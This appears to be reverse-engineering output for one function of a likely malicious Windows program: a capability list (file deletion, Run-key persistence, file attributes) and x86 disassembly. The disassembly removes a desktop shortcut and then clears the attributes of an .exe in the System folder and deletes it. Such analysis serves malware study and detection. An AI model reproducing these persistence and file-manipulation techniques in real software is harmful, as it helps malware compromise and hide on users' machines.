Function at 0x406540
Capabilities:
Delete file
Get common file path
Persist via run registry key
Query or enumerate registry value
Set file attributes

Disassembly:
sub esp, 0x214
push ebp
mov ebp, ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x119]
mov byte [esp + 0x118], 0
mov dword [esp + 0xc], 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406760
push ebx
lea ecx, [esp + 0x10]
push esi
lea edx, [esp + 0x120]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push edx
push eax
push 0
push str.Desktop
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or ecx, 0xffffffff
mov edi, str..__
xor eax, eax
lea edx, [esp + 0x120]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x228]
and ecx, 3
lea edx, [esp + 0x120]
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..lnk
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x120]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [ebp + 4]
lea edx, [esp + 0x1c]
test eax, eax
mov edi, str.System32
jne 0x40669a
mov edi, str.System
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x124]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str..__
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x20]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x214
ret 4